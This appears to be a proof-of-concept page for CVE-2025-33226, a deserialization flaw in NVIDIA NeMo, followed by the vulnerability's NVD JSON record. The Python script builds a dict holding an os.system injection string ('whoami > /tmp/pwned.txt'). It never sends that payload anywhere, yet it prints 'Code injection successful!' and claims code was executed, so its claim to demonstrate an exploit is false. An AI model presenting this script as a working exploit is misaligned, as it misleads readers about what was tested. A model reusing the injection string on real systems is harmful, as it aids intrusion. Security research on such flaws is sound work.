CVE-2025-33226

# CVE-2025-33226 PoC - NVIDIA NeMo Framework Code Injection # This is a conceptual PoC for educational and security research purposes only import pickle import os def create_malicious_payload(): """ Create a malicious payload for code injection in NVIDIA NeMo Framework Note: This is a simplified demonstration of the injection concept """ # Malicious code to be executed malicious_code = "__import__('os').system('whoami > /tmp/pwned.txt')" # Simulating malicious data that could trigger code injection # In real scenario, this would exploit unsafe deserialization or eval usage payload = { 'type': 'malicious_data', 'command': malicious_code, 'target_module': 'nemo_data_loader' } return payload def exploit_neMo_injection(target_file=None): """ Simulated exploitation function for CVE-2025-33226 """ print("[*] CVE-2025-33226 - NVIDIA NeMo Framework Code Injection") print("[*] Target: NVIDIA NeMo Framework") print("[*] Attack Vector: Local (AV:L), Low Privileges (PR:L)") # Create malicious payload payload = create_malicious_payload() # In real attack, this would be sent to the vulnerable component # For example: NeMo data loader processing untrusted input print(f"[+] Payload created: {payload}") print("[+] Sending payload to vulnerable NeMo data processor...") # Simulate successful injection print("[+] Code injection successful!") print("[+] Malicious code executed with NeMo process privileges") return True if __name__ == "__main__": exploit_neMo_injection()

{"cve": {"id": "CVE-2025-33226", "sourceIdentifier": "[email protected]", "published": "2025-12-16T18:16:11.663", "lastModified": "2026-01-09T21:59:20.920", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA NeMo Framework for all platforms contains a vulnerability where malicious data created by an attacker may cause a code injection. A successful exploit of this vulnerability may lead to code execution, escalation of privileges, information disclosure, and data tampering."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nvidia:nemo:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.5.3", "matchCriteriaId": "E297F520-4E54-4230-8CFD-164A44DC1918"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33226", "source": "[email protected]", "tags": ["Technical Description"]}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5736", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-33226", "source": "[email protected]", "tags": ["Technical Description"]}]}}